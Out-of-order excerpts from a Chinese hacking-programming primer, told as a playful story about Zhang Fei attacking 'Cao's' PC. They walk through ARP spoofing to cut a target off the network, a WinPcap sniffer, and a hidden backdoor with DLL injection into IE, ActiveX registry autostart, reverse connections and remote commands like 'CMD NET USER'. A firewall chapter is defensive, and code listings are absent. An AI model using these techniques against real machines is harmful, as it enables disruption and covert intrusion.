    {"text": "8.1.1 ARP协议工作原理 ARP缓存表如图8.1所示，通过ARP协议获取计算机MAC地址的过程，我们通过一个假设来讲述：假设有主机A需要获取主机B的MAC地址，这时A主机会通过向外发送ARP数据包的方式来获得B的MAC地址，具体的过程如下。 图8.1 1）A主机在本局域网内发送一个ARP请求包，如图8.2所示，请求包的内容表明：“这里是192.168.0.100，我的MAC地址为00-12-34-56-78-9A，我想要知道192.168.0.110的MAC地址”。"},
    {"text": "3）B主机发现是在请求自己的MAC地址，于是向主机A发送ARP响应包来表明：“我就是192.168.0.110，我的MAC地址是00-AB-CD-EF-12-34”，如图8.3所示。"},
    {"text": "若要发送ARP请求包，则需要将ARP首部的OperationCode（操作码）字段置为0x0001，EtherDestHost[6]字段应置为“0xFF FF FF FF FF FF”，若要发送ARP应答包，OperationCode字段应置为0x0002。"},
    {"text": "ARP欺骗的基本原理就是对目的主机“说谎”，告诉目的主机错误的地址，使其ARP缓存表中出现错误的IP地址和MAC地址映射关系，下面举一个例子。"},
    {"text": "图8.5 1）A向D发送ARP响应包，内容为：“我是102.168.0.110，我的MAC地址为00-0F-1F-2F-3F-4F”，然而B才真正是102.168.0.110，A所谓的MAC地址00-0F-1F-2F-3F-4F是不存在的，即A对D“撒了个谎”。"},
    {"text": "3）D以后再向主机B发送数据包，则会发向00-0F-1F-2F-3F-4F这个不存在的MAC地址，因此，B就收不到D发送的任何数据包了。 同理，A也可以对D撒谎说“我是102.168.0.110，我的MAC地址为00-12-34-56-78-9A（A的实际MAC地址）”，这样一来，D本该发到B的数据包就全都发到A主机上了，再利用WinPcap嗅探器一章学到的Sniffer，就可以在A主机上捕获到这些数据包了，而且这样一来，D主机也不能跟B正常通信了。"},
    {"text": "哦～俺有点明白了，这个原理就是A不断地假装成B，并一直向D撒谎，告诉D错误的B的家庭地址，这样A就把D给忽悠了，D就不能找到B的家了。"},
    {"text": "这么说的话，俺就可以拿这个玩意去忽悠曹贼那厮，让他的电脑上不了网，不让他正常收发邮件，不让他下载电影，不让他偷俺的菜，还能耽误他炒股，让他赔钱，哈哈哈，真是太妙了。"},
    {"text": "哈哈，确实是这样，ARP欺骗的原理虽然看起来有点绕，但是具体实现是比较简单的，只要填充好一个误导目标主机的ARP数据包，然后不断的向外发送就可以了。"},
    {"text": "图8.7 （1）SendArpPacket()函数 该函数中的Sending是一个BOOL型变量，用来控制是否继续发送ARP数据包，当UI中的停止发送按钮被按下时，Sending变为FALSE，使该函数中的循环停止。"},
    {"text": "（2）FillHeaders()函数 此函数中使用的ArpHead和EtherHead分别是ARP_HEADER和ETHER_HEADER类型结构体的全局变量，这两个结构体定义在“Protocol.h”头文件中，分别是ARP协议首部和以太网协议首部。"},
    {"text": "在这个函数中，将会遇到一个问题：在UI中获得的MAC地址是一个字符串，而要填充到协议首部的MAC地址应该是占六个字节的数据，因此，需要将其进行转换。"},
    {"text": "（4）UI部分代码 8.3.2 测试 军师，我看保险起见，咱还是先自己搭个环境测试一下吧，万一直接拿曹贼测试不成功，再让曹贼那厮发现了咱们，不就成了偷鸡不成蚀把米了嘛。"},
    {"text": "第2步： 现在在主机A的命令提示符中键入“ping 192.15.248.120-t”，使其一直向主机C发送ICMP数据包（如图8.8所示），这就假设曹操正在不断地通过网关上网。"},
    {"text": "图8.8 这时，A（曹贼）的ARP缓存表如图8.9所示。 图8.9 从图中可以看到，现在A（曹贼）的ARP缓存表中的IP和MAC地址的映射关系还都是正确的。"},
    {"text": "下面要做的就是让主机B对A（曹贼）撒谎，从而使曹贼的ARP缓存表中出现错误的IP和MAC地址映射关系。 第3步： 在主机B中开启ARP欺骗工具，填写目的IP为192.15.248.100（A主机的IP地址），目的MAC为00-0C-29-57-63-77（A主机的MAC地址），假IP为192.15.248.120（C主机的IP地址），假MAC为00-12-34-56-78-9A（不存在的MAC地址），并开始发送（如图8.10所示）。 图8.10 第4步： 此时，A再对C的IP地址执行ping命令时，就得不到C的回应了，也就是说这时候曹贼那小子就上不了网了（如图8.11所示）。"},
    {"text": "我在看曹营那边，刚才我出来就对曹操的电脑欺骗了一番，现在气得曹贼直跺脚啊，哎呀，军师快看，他砸了，他砸了，曹贼那厮气得把自己的笔记本给砸了，哎呦喂，好几万的高配商务本啊，可惜了，可惜了啊。"},
    {"text": "一个完整的ARP欺骗工具不仅要有发送ARP数据包的功能，还要有主机探测功能，主机探测的基本原理就是向目标主机发送一个ICMP包，然后等待该主机响应。"},
    {"text": "你别激动，其实，WinPcap开发包提供了一套方便易用的编程接口，你需要什么就直接引入相应的编程接口，根本不需要了解底层的数据包捕获技术，就可以达到捕获数据包的目的。 在使用WinPcap捕获到数据包后，你还可以根据各种协议头的数据结构对数据包进行分析，了解它的来龙去脉和具体内容。"},
    {"text": "7.1 原理及相关技术 7.1.1 WinPcap导入 WinPcap是一个开源的专业网络数据捕获开发包。 其实，WinPcap的强大功能并不仅限于数据包的捕获，它的主要功能如下： ● 捕获原始数据包，包括在共享网络上各主机发送、接收的数据包，以及相互之间交换的数据包。"},
    {"text": "WinPcap的主要功能在于独立于主机协议（如TCP/IP）而发送和接收原始数据包。 也就是说，WinPcap不能阻塞、过滤或控制其他应用程序数据包的发收，它仅仅是监听共享网络上传送的数据包。"},
    {"text": "压缩文件里包含“include”和“lib”两个目录，将这两个目录添加到Visual Studio 2008中，这样，Visual Studio 2008就可以自动在这两个文件夹里搜索到可用的.h和.lib文件。 具体的安装步骤如下： 1）在Visual Studio 2008的菜单栏里单击“工具”→“选项”命令，在打开的对话框里选择“项目和解决方案”选项下的“VC++目录”选项，如图7.1所示，选择“包含文件”，单击“浏览”按钮。"},
    {"text": "图7.3 4）每新建了一个使用WinPcap开发包的工程时，都需在“项目”→“属性”里进行配置，如图7.4所示，在“Sniffer属性页”对话框里选择“配置属性”→“C/C++”→“命令行”选项，为其添加“ws2_32.lib”和“wpcap. lib”。"},
    {"text": "你倒是想得美，这种配置方法在我们以后攻城拔寨中会多次用到，这是基础，如果你连基础都不会，难不成要次次……（诸葛亮开始长篇大论） 咳咳，先生你说啥？"},
    {"text": "返回值： 当函数执行成功时，返回“0”，有错误发生时，返回“-1”，其中，网络设备列表在“alldevs”中返回，在正确情况下，“alldevs”应该非空，即当系统不存在网络接口时，返回“-1”。"},
    {"text": "参数： source：一个以“\\0”结束的字符串，用来存储要打开的网卡的名称。 可直接使用pcap_findalldevs_ex()返回的网卡的名称作为该函数的源。"},
    {"text": "errbuf：一个由用户定义的，大小为PCAP_ERRBUF_SIZE的数组，当函数执行失败时，用来返回失败信息。 返回值： 当函数执行成功时，返回一个pcap_t类型指针，可直接用于pcap_compile()等函数中，且此指针指定了一个具体的WinPcap会话（即WinPcap会话句柄），否则返回NULL，且可在errbuf中返回更具体的错误信息。"},
    {"text": "链路层类型有很多种，如DLT_FDDI、DLT_ARCNET 、DLT_EN10MB等，我现在介绍的是捕获DLT_EN10MB链路层数据包，这是现在广为使用的以太网链路层类型。"},
    {"text": "【第4步】编译BPF过滤规则 功能： 编译数据包过滤器，将程序中高级的过滤表达式（即过滤规则字符串）转换为能被内核级的过滤引擎所处理的内容。"},
    {"text": "过滤字符串是由原语和各个原语的修饰符组成的，且不同的原语之间可使用关系说明符进行组合。 理论上，通过各种原语及其修饰符的组合，可以精确到特定协议的特定字段，但正是由于这种过滤机制的强大，想要掌握所有的过滤字符串编写技巧也非易事。"},
    {"text": "callback：一个pcap_handler类型的回调函数，用于实现数据包的分析。 下面是回调函数的格式定义： 功能： 一种回调函数类型，可供捕获数据包的各种函数（包括pcap_loop()）调用。"},
    {"text": "返回值： 若有错误发生时，返回-1，若捕获包的数量达到cnt时，返回0，当在回调函数内部使用pcap_breakloop()来结束该函数时，返回-2。"},
    {"text": "pcap_loop()函数在数据包的捕获和分析这两大步骤间起到了很重要的桥梁作用，这关系到数据包捕获到数据包分析的过渡问题。 pap_loop()能自动调用WinPcap的内核捕获机制进行数据包捕获和过滤。 当捕获到数据包时，pcap_loop()就会自动调用已注册的回调函数进行分析。"},
    {"text": "【第8步】关闭WinPcap会话句柄 功能： 关闭一个和p关联的文件，并释放资源。 在本项目中，用来关闭WinPcap会话句柄，并释放其资源。 参数： p：WinPcap会话句柄。"},
    {"text": "……你至少要分析下这个数据包是谁发的，发给谁，什么内容吧。 1．数据包的分析内容 一个数据包通常包含多种协议头，而各种协议头又包含了多种信息，如时间、长度、版本号、校验等。 但当获取到一个数据包时，重要的是这个包是谁发的、发给谁的、它是什么协议数据包、都包含了什么内容。 因此，按需求对协议数据包进行解析后发现：源MAC、源IP、源Port可以确定发送源； 目的Mac、目的IP、目的Port可以确定发送目标；"},
    {"text": "表7.1 在分析出数据包中的相关内容后，需要选择定义一个结构体来存储对应于这个包的这些所需的信息，然后把所有数据包对应的结构体存储在一个向量列表里，方便保存和索取。"},
    {"text": "图7.6 由TCP/IP模型可知，一个数据包自底向上由链路层协议→网络层协议→传输层协议→用户数据（包括应用层协议）组成。 在数据包捕获部分，通过pcap_datalink()确定了链路层协议为以太网协议，由pcap_compile()和pcap_setfilter()确定了只捕获IP协议，即网络层协议为IP协议，所以最终得到的包只有TCP、UDP两种格式。"},
    {"text": "在此回调函数结尾处，可调用IpPacketCallback()对数据包进行进一步IP协议分析。 使用IpPacketCallback()函数可解析出一个IP协议头，并可从中得到数据包的源IP和目的IP。 该函数通过一个switch…case语句判断IP协议类型（UDP或TCP），然后调用各协议相关函数进行最终分析，代码细节如下： 源端口、目的端口及数据长度都可从TCP或UDP协议分析中得到。"},
    {"text": "在获取源端口和目的端口的方法上，两者是一致的，但在得到数据长度的方法上略有不同：UDP协议结构自身具有代表长度的字段，但TCP协议头没有这样一个字段。 要得到TCP协议数据长度，只需通过IP协议结构中的长度字段计算出数据包的长度即可，具体细节见代码实现部分。"},
    {"text": "7.2 UI设计 前面的章节已经讲解过UI设计的知识，这里就不再赘述，按照如图7.7所示的内容和下面的示例配置，即可快速完成。 图7.7 主窗口属性： List Control属性： Edit Control 1属性： Edit Control 2属性： 7.3 代码实现与测试 7.3.1 代码实现 UI俺三下五除二就搞定了，编写的黑客工具也不只个把两个了，看俺的。"},
    {"text": "根据如图7.8所示的流程图来编程，也不至于等下手忙脚乱，忙中出错不是。 【说明】 右侧：UI部分（SnifferDlg.cpp） 左侧：核心部分（Sniffer.cpp） 图7.8 还真是这个道理，我说我怎么老是做了一样忘了另一样，原来是没画流程图的缘故。"},
    {"text": "至此，依照流程图已完成以下工作：初始化WinPcap会话句柄pcapHandle、获得网络设备、选择并打开网卡、检查链路层、获得了子网掩码、编译并设置过滤器。"},
    {"text": "在这个函数中，并非直接调用的pcap_loop()，而是创建了一个新线程，在这个线程中调用pcap_loop()，并进行数据包的捕获和分析，然后将数据传送到主线程的UI里显示出来。"},
    {"text": "“arg-&gt;pFunc”指向函数EtherPacketCallback()的地址，在这个函数中可获得数据包的源MAC地址和目的MAC地址： 这里，p是一个自定义的暂时存储数据包信息及数据的Packet类型结构体。"},
    {"text": "因为在设置过滤器时，已经设置为只捕获IP协议数据包，所以可以直接调用IpPacketCallback()对数据包进行进一步分析。 4）IpPacketCallback()的代码 在以上代码中，将源IP和目的IP填充至结构体并判断是TCP还是UDP包，分别调用TcpPacketCallback()和UdpPacketCallback()进行最终分析。 如上所述，在TcpPacketCallback()中，将源端口、目的端口及数据填充至p并push_back()到packets中。 5）TcpPacketCallback()具体实现 UdpPacketCallback()完成与TcpPacketCallback()相同的功能，但部分实现机制不同。 6）UdpPacketCallback()实现 以上代码是实现嗅探功能的核心，以下代码则是将嗅探到的信息绑定到UI上。"},
    {"text": "7）UI主函数代码 8）窗口回调函数DlgProc()实现代码 InsertPacket()函数将完成每抓到一个数据包并分析后，把数据包的信息绑定到List Control的功能。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第2回 黑客的编程利器 为你介绍微软强大的开发环境Visual Studio 2008，它是黑客编程道路上的铺路石，可以使你的编程过程更加灵活、得心应手。 在了解了黑客的相关知识后，张飞意识到“工欲善其事，必先利其器”。真正的黑客应该拥有自己擅长的开发工具。于是他开始四处寻找自己的武器，首先找到的工具是Turbo C。张飞为此兴奋了许久，一连好几天编程熬到深夜，但不知为何，经常遇到Turbo C挂起而导致很多工作没有保存的情况，为此他懊恼不已。但他不甘示弱，在学习的同时，继续上网查找新的工具，偶然发现有达人使用的工具是Microsoft Visual C++6.0，张飞立刻买来替换了Turbo C，发现确实好用多了。但随后他又发现，很多时候代码没有错误，却怎么也编译通不过，偶尔还会出现编译卡死的状态，这令张飞很是头痛。所幸没过多久，最新版的Microsoft Visual Studio 2008开始销售，张飞充分了解了Visual Studio 2008的新特性和强大功能，购买了一套进行安装。安装后发现，较6.0来说，VS2008确实改良了很多，以前遇到的问题都不见了，既提高了效率又保证了稳定性。于是，在VS2008开发环境下，张飞正式开始了黑客编程学习的旅程。 小小黑客之路：黑客工具、攻防及防火墙编程入门 第6回 信注册表，没有不可能 病毒、木马往往会借助修改系统注册表的手段来达到突破系统防御的目的。了解注册表编辑器，可以为你编写病毒、木马等黑客工具打下坚实的基础。 张飞很早就听说了注册表这个东西，但对当时的他来说，注册表只是个传说。传说掌握了注册表就可以修改电脑的自启动项、系统服务、文件关联等各种系统配置，更有甚者，说注册表可以使人羽化升天、长生不老，把注册表传得神乎其神。这些对张飞来说，的确具有很大的诱惑力，于是他开始研究注册表，通过学习，张飞已经可以很熟练地使用系统自带的注册表编辑器，也掌握了注册表的一些关键位置，证实了注册表跟羽化升天、长生不老确实没有任何关系。富有想象力的张飞认为，如果将来自己终于达到了入侵曹贼电脑的目的，一定要对曹贼电脑的注册表动一番手脚，可是以张飞目前的技术，只能使用系统自带的注册表编辑器修改注册表，要修改别人的注册表，肯定要自己写代码修改，于是张飞又开始潜心学习与注册表有关的API。最终作为练习，张飞写出了自己的注册表编辑器。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 军师，咱对曹操施展了这么多招数，又是病毒，又是木马的，曹操都快免疫了，俺看曹操这小子翅膀都快让咱给练硬了，到时候他再反过来对付咱，那还了得。"},
    {"text": "13.1 相关原理及技术 13.1.1 SPI介绍 众所周知，所有Winsock2的API都存放在WS2_32.dll这个动态链接库中，但事实上，这些API并非是在这个动态链接库内实现的，而是由WS2_32.dll通过SPI（Service Provider Interface，服务提供者接口）在更底层实现的（如图13.1所示）。 图13.1 哦，我明白了，也就是说所有与Winsock2有关的函数调用都要经过SPI这个看门将才行。"},
    {"text": "哦，俺明白了，咱们可以在服务链中插入自己的SPI分层服务提供者，这样上层的调用都会经过自己编写的分层服务提供者，我们根据函数的参数判断是否符合我们的要求，如果符合，就调用下层的SPI函数，否则直接返回错误，就可以进行过滤了。"},
    {"text": "这样的SPI函数有很多，分别对应于不同的Winsock2 API函数，它们的函数名通常多一个“WSP”前缀，例如： 由此可见，Winsock2 API在执行时，相当于将API的参数在各个服务提供者的SPI函数之间进行传递，最终传递到基础服务提供者，完成最基本的封装、发送和接收数据包的功能。"},
    {"text": "若为分层服务提供者，则该参数为0（分层服务提供者只能被服务链串联，因此分层服务提供者的ChainLen参数是没有意义的），若为基础服务提供者，该参数为1。"},
    {"text": "ChainEntries[MAX_PROTOCOL_CHAIN]：将WSAPROTOCOL_INFO结构体中的dwCatalogEntryId参数串联起来，最后一个元素就是基础服务提供者的入口ID。"},
    {"text": "获得服务提供者信息的代码： 因为不知道原来一共有多少服务提供者，第一次调用WSCEnumProtocols()是为了通过protoinfosize参数获得缓冲区大小的最小值，然后根据这个值分配内存空间，最后再次调用WSCEnumProtocols()获取所有服务提供者的信息。"},
    {"text": "【第3步】找到第2步中安装的LSP入口ID，并找到一个符合要求的服务链，将LSP的入口ID放在该服务链的最前端，进行其他修改后，安装此服务链。"},
    {"text": "LPWSPPROC_TABLE结构体的定义如下： 由WSPStartup()函数的参数可知，自定义LSP中的此函数要将下一个LSP的函数表保存起来，然后将自己的函数表导出给上一个LSP。"},
    {"text": "当最上层的应用程序调用完WSAStartup()后，再调用其他的Winsock2 API（如connect()、listen()等）时，就可以很自然地顺着服务链依次向下调用，直至基础服务提供者。"},
    {"text": "嗯，嗯，您讲慢点，笔记还没记好呢…… 在获取下一个LSP的动态链接库路径时，使用了WSCGetProviderPath()函数： 功能： 获取一个服务提供者的动态链接库的文件路径。"},
    {"text": "lpszProviderDllPath：缓冲区，用来存放这个路径。 lpProviderDllPathLen：作为输入则表示输入缓冲区的大小，作为输出则表示输出该路径的长度。"},
    {"text": "13.1.4 过滤 事实上，SPI防火墙并没有直接接触到数据包的封装、发送和接收，它只是通过检查各个SPI函数的参数，如源端口、目的端口和当前应用程序等，选择继续调用下一个SPI还是直接返回错误。"},
    {"text": "对，我看起码要有三个黑名单：源端口黑名单、目的IP黑名单和应用程序黑名单，在对SPI的参数进行检查时，分别比对这三个名单，最终得出检查结果。 这三个黑名单必须存放在自己编写的SPI的动态链接库内，可是每个使用Winsock2的应用程序都要加载这个动态连接库，一旦加载了，就成为了这个应用程序的一部分，这三个名单上的数据必须同时在所有的应用程序中更新，这可咋办啊？ 这时，需要建立一个共享的、可读写的区段来存放这三个名单，这样，所有的应用程序都可以访问和修改这三个黑名单了，问题就解决了。"},
    {"text": "以下代码说明了如何在动态链接库内建立一个共享的、可读写的区段： 需要特别注意的是，当把变量放在这种共享可读写的区段内时，必须在声明处将其初始化，所需的内存空间也必须在声明时申请，不可以在加载该动态链接库后，再动态分配存储空间，这是因为加载后，再分配的内存将位于不同的进程虚拟空间内，无法实现共享。"},
    {"text": "下面声明了三个结构体，用于存放这三个列表的每一项条目： 三个列表在共享的区段中的定义如下所示： 由于此共享区段有可能被多个进程同时访问，所以是不是要考虑使用临界区，避免因同时访问而出现错误？"},
    {"text": "下面要做的就是对目的IP、源端口和应用程序进行检查，代码实现如下： 对应用程序进行检查的参数是当前应用程序的完整路径，可以用GetModuleFileName()函数获得。"},
    {"text": "在WSPListen()函数中，也需要对要监听的端口进行检查。 但是在WSPListen的参数中不能直接得到要监听的端口号，因为这个端口已经通过bind()函数被绑定到SOCKET上了。 因此，要使用getsockname()函数来获得与该SOCKET绑定的源端口号，然后再对其进行检查。"},
    {"text": "因此，要检查源端口，只能在调用下一个LSP的WSPConnect()函数后，即系统分配了源端口后，再使用getsockname()函数获得该端口号，进行检查。 类似的，对于WSPRecvFrom()函数，也要通过getsockname()来获得与其SOCKET对象绑定的源端口号，并对其进行检查。"},
    {"text": "但是目的IP只有在调用下一个LSP的WSPRecvFrom()函数后，才可以得知。 因此，该函数也需先调用下一个LSP的WSPRecvFrom()函数，然后再对目的IP进行检查。"},
    {"text": "（1）主对话框 主对话框始终隐藏，只在托盘区显示一个图标，如图13.5所示，是右击该图标时，弹出的快捷菜单。 图13.5 关于托盘区图标显示及右击菜单的实现，可参见主窗口回调函数部分的代码。 （2）端口列表对话框（如图13.6所示） 图13.6 提示 ： 控件的其他属性值按图中设置即可。 （3）IP列表对话框（如图13.7所示） 图13.7 IDC_LIST_IP： 提示： 控件的其他属性值按图中设置即可。 （4）应用程序列表对话框（如图13.8所示） 图13.8 IDC_LIST_PATH： IDC_EDIT_ADDPATH： 提示：控件的其他属性值按图中设置即可。"},
    {"text": "图13.10 13.3.2 FireWall项目 该项目是防火墙的应用程序端，以下是应用程序端的UI相关代码： 主窗口回调函数主要完成对右键菜单中各个按键的响应，弹出不同的列表对话框或开启／关闭防火墙。"},
    {"text": "下面是对动态链接库内的共享区段进行添加、删除和读出表项的函数定义（仅以端口列表为例）： 对IP和应用程序列表的控制与上面的代码类似。"},
    {"text": "13.3.3 FireWallDll项目 该项目的绝大多数代码已经在讲解过程中给出，以下是UDP类型的LSP的WSPStartup()函数代码： 本段代码中没有太多注释，不过大家可以参考TCP类型LSP的WSPStartup()函数中的注释理解这段代码。"},
    {"text": "打开防火墙，查看应用程序列表，如图13.12所示。 图13.12 由上图可以看出，IE的完整路径已经加入到应用程序列表中了。 在笔者的IE中访问网址“172.19.1.109”，可以正常访问该网页，如图13.13所示。"},
    {"text": "最著名的SPI防火墙便是费尔防火墙，费尔防火墙的初期版本完全使用的是SPI技术，由于以上缺点的存在，在费尔防火墙的后期版本中，便开始主要使用NDIS过滤驱动技术。 由于SPI防火墙依然是基于Winsock的技术，而且不会直接接触到数据包，因此SPI防火墙不像常用的防火墙那样强大，而要实现功能强大的防火墙，一般应使用驱动编程技术，将自己的防火墙深入系统核心层，这种方法实现起来对技术的要求非常高，但是可以真正截获到数据包，并对其进行任意的修改，这样，就可以完全控制自己主机任何数据包的发送了。"},
    {"text": "那就好，俺不睡了，俺去学习驱动和费尔防火墙了，明天俺给你写个比费尔防火墙还好的出来，不就是区区那么几万行代码么，俺一天就能搞定，俺去学习了，军师，失陪。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 前 言 在网络安全备受重视的今天，黑客及黑客行为也越来越受到人们的关注。很多计算机爱好者都幻想着成为凯文·米特尼克式的世界级黑客人物，但学习资料的匮乏使他们始终怀抱梦想却无法迈入黑客编程的神秘世界。 因此，为了让更多的人领略黑客及黑客编程的魅力，笔者根据自身的学习及经验完成了本书的编写。通过层层剖析书中多个由浅入深、形象生动的案例，读者们可以快速掌握使用C/C++和Windows API进行黑客编程的技巧与方法。 本书共分为入门篇、进阶篇、高级篇和综合篇四部分。在入门篇中，我们首先简要地介绍了黑客、黑客工具及黑客编程中常用的辅助工具，并对一些黑客编程的基础知识，如Windows API的使用、Windows网络编程、用户界面设计等，进行了详细的介绍。进阶篇和高级篇共有七章，分别介绍了七种网络上热门的黑客工具的编写技巧，如端口扫描器、ARP欺骗工具、漏洞利用技术等，案例由浅入深，方便读者学习。在综合篇中，我们又对以上所学的知识进行了综合运用，实现了两个较为复杂的软件：远程控制木马和防火墙。值得一提的是，附录A与附录B中介绍的网络协议和PE格式的基础知识，是黑客编程的基础。 本书使用Visual C++ 2008作为编程平台进行编写和讲解。众所周知，作为微软开发工具，Visual Studio 2008，尤其是其中的Visual C++ 2008的易用性受到程序员们的一致肯定。 本书特色： （1）本书定位于对信息安全或黑客编程有兴趣的初学者，是一本良好的入门读物。 （2）整本书知识点较为全面，基本包含了黑客编程的各个方面。 （3）书中对相关黑客工具编写的讲解皆通过案例，案例组织由浅入深，形象生动又不乏易用性。 （4）本书使用Visual C++ 2008作为开发平台，方便读者测试和重用代码。 （5）需要原始代码的读者可通过电子邮箱geyao@cqu.edu.cn索取。 我们坚信，持之以恒方能成事。希望在这本书的陪伴下，读者朋友们能坚定地走完黑客编程学习的道路，并能有所感悟，有所收获。 最后，感谢从书的策划到出版一路陪伴着我们的师长、家人和朋友们，你们的默默支持是我们一路走来最大的动力！ 由于作者水平有限，疏漏之处在所难免，欢迎读者朋友批评指正。作者服务邮箱为：chenqiok@163.com。 作 者 2010年11月 小小黑客之路：黑客工具、攻防及防火墙编程入门 小小黑客之路——黑客工具、攻防及防火墙编程入门 葛 垚 聂 森 苗 甦 陈沁茜 陈树林 著 電子工業出版社 Publishing House of Electronics Industry 北京·BEIJING"},
    {"text": "此后门非彼后门，它是一种在机器启动时，自动运行并强制打开某一端口进行通信的黑客程序，它可以绕过系统的安全性控制而达到访问远程系统的目的。"},
    {"text": "那我便给你演示一些后门编程中较为流行的技术：反弹连接、DLL注入、自启动、下载者等。 11.1 相关原理及技术 通过前面的学习，相信你已经学会了很多黑客工具的编写技巧，但是我相信将军你肯定没见过像后门这样架构复杂的黑客程序。"},
    {"text": "要注意的是，这里并没有真正地把通信的细节放在Server项目中进行编程实现，Server仅仅负责释放加载器Loader.exe和真正的通信模块后门DLL至系统目录下，并修改注册表实现Loader. exe的自启动。"},
    {"text": "● Loader（加载器） Loader的主要目的在于把DLL.dll加载到一个IE进程中执行，是为了达到后门的隐蔽性而产生的模块。 ● Dll（后门DLL） 前面的Server和Loader仅仅起到了铺路的作用，真正的后门通信功能的实现都封装在这个“不起眼”的DLL文件里，而且此DLL文件还会被Loader加载至一个看似合法的IE进程中，可谓隐藏得无迹可循。"},
    {"text": "…… 11.1.2 服务端编写 先来说说服务端的编写，它主要有3个功能： 1．释放Loader.exe和Dll.dll PE文件格式里存有资源部分，这个你可知道？"},
    {"text": "首先，在“资源文件”上单击右键，选择“添加”→“资源”命令，如图11.3和图11.4所示。 图11.3 图11.4 在如图11.4所示的对话框中单击“导入”按钮，弹出如图11.5所示的“导入”对话框。"},
    {"text": "图11.5 单击“打开”按钮，弹出“自定义资源类型”对话框（如图11.6所示），在“资源类型”列表框中手动输入自定义的“DLL”类型，单击“确定”按钮。 图11.6 此时，Server项目会自动添加一个Resource.h文件，且内容如下： 至此，Dll.dll资源已经添加成功。"},
    {"text": "资源添加进Server项目后，自然还需要编写代码，实现在运行时把资源释放出来。 释放资源的原理是先把资源加载至内存，然后在内存中复制数据并生成对应文件，最后释放资源空间。 释放资源主要使用关于资源操作的一套Windows API进行实现，其API执行序列流程图如图11.7所示。"},
    {"text": "返回值： 若函数运行成功，返回值为指向被指定资源信息块的句柄，否则返回NULL。 备注： 如果需要真正获得某个资源，还需要把此函数的返回值，即资源句柄传递给LoadResource()函数，进行第2步。 【第2步】LoadResource() 功能： 装载指定资源到内存。"},
    {"text": "备注： 使用此函数的目的是把资源复制到申请的内存中，dwBytes需要设置为资源的大小，所以还需在调用此函数前，先调用SizeofResource()函数获得资源大小。 SizeofResource()函数： 功能： 返回指定资源的字节数。"},
    {"text": "1）CopyMemory()函数 备注： 由定义可知，CopyMemory()是memcpy()函数的宏定义，其中，memcpy()作为编译器运行时，函数应用广泛，它可以实现把Length字节长度的数据从Source地址复制到Destination指定的地址。"},
    {"text": "lpBuffer：指定要写入数据存放的缓冲区。 nNumberOfBytesToWrite：指定要写入数据的字节数。 lpNumberOfBytesWritten：实际写入数据的字节数。"},
    {"text": "提示：与WriteFile()对应的函数是ReadFile()，一并在这里给出。 3）ReadFile()函数 功能： 对各种Windows文件和设备等完成读操作。 参数： hFile：指定要读取的文件句柄。"},
    {"text": "这里介绍另外一种实现自启动的办法，利用注册表ActiveX自启动。 利用注册表中注册ActiveX实现自启动的原理相当简单，仅仅需要在“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components”处注册一条信息即可，如图11.8所示。"},
    {"text": "系统在启动服务端的时候，会自动地在HKEY_CURRENT_USER中注册HKEY_LOCAL_MACHINE中的ActiveX信息。 只有当HKEY_ CURRENT_USER在开机时不存在这些信息时，注册的信息才会实现开机自启动。 所以为了每次开机都能实现自启动功能，还需删除我们注册的信息。 既然每次开机都要删除此信息，肯定不能交给Server来完成，因为Server只在第一次运行时存在，运行完毕就“自杀”了，所以清理子键的工作就留给了Loader.exe来完成，这在后面还会提到。"},
    {"text": "否则当以如下方式使用OpenProcess()操作时，会遇到“访问拒绝”的错误： 出现这种错误的原因是在默认的情况下，进程的一些访问权限是没有打开的，所以在执行OpenProcess()操作前，必须首先打开这些权限。"},
    {"text": "要修改一个进程的访问令牌，首先要获得进程访问令牌的句柄，这可以通过OpenProcessToken()函数得到。 1）OpenProcessToken()函数 功能： 获取进程访问令牌的句柄。 参数： ProcessHandle：指定要修改的进程句柄。"},
    {"text": "在对访问令牌进行修改之前，还需调用LookupPrivilegevalue()函数获得每个权限对应的LUID值（一个局部不唯一值）。 2）LookupPrivilegevalue()函数 功能： 获得系统指定的优先级的LUID值。"},
    {"text": "对令牌的修改可以使用AdjustTokenPrivileges()函数。 3）AdjustTokenPrivileges()函数 功能： 修改令牌权限。 参数： TokenHandle：指定访问令牌的句柄。"},
    {"text": "【第2步】新建一个IE进程 创建进程仍然需要使用CreateProcess()完成，原理比较简单，你可参考代码理解。 【第3步】DLL.dll远程注入至IE进程 远程注入技术使用广泛，一直是黑客编程中经久不衰的话题，其原理也比较简单。"},
    {"text": "控制远程目标进程，调用LoadLibrary()函数加载外部DLL。 这个外部DLL中的代码就会在目标进程空间内执行，这样做的优点是隐蔽性好，而且一旦加载成功，就很难被卸载。 LoadLibrary()函数是使用CreateRemoteThread()函数在目标进程空间内执行的。 LoadLibrary()的参数需要通过WriteProcessMemory()函数事先写入目标进程空间内。 而在目标进程空间分配内存是通过VirtualAllocEx()函数完成的，释放内存是通过VirtualFreeEx()函数完成。"},
    {"text": "远程注入功能API函数执行流程图如图11.10所示。 图11.10 （1）OpenProcess() 远程注入首先需要打开目标进程，然后才能把代码注入其中，打开目标进程需要使用OpenProcess()函数。"},
    {"text": "（3）WriteProcessMemory() 功能： 向目标进程内存中写入数据。 参数： hProcess：指定将被写入的目标进程句柄。 lpBaseAddress：目标进程被写入内存的首地址，在这里就是VirtualAllocEx()函数的返回值。 lpBuffer：写到目标进程的数据缓冲区。"},
    {"text": "【第4步】删除HKEY_CURRENT_USER下的ActiveX子键信息 清理键值的工作由Loader.exe下的CleanJob()函数完成，利用RegDeleteKey()函数即可实现，代码如下。"},
    {"text": "上图是正规的C\\S通信原理图，其中，客户端使用connect()函数进行主动连接（正向连接），但是大部分防火墙都会监控这种外部的连接请求，使用此方法很容易被防火墙发现并拦截，目前比较流行的方式是进行反向连接，即客户端使用listen()监听服务端发起的connect()连接，类似于图11.12。"},
    {"text": "1．执行远程CMD命令 若客户端需要了解关于服务端的一些信息，如服务端机器账号，只需类似于在本机CMD中输入命令一样输入“CMD NET USER”命令，并利用send()函数发送至服务端。 其中，“CMD”是为了区分CMD命令和其他扩展命令而加的限定符，服务端会自动从这条命令里解析出“NET USER”这条CMD命令。"},
    {"text": "一个进程向管道写入数据后，另一个进程就可以从管道的另一端将其读取出来。 有了管道，向其他进程传输数据时，就可以像对普通文件读写那样简单。"},
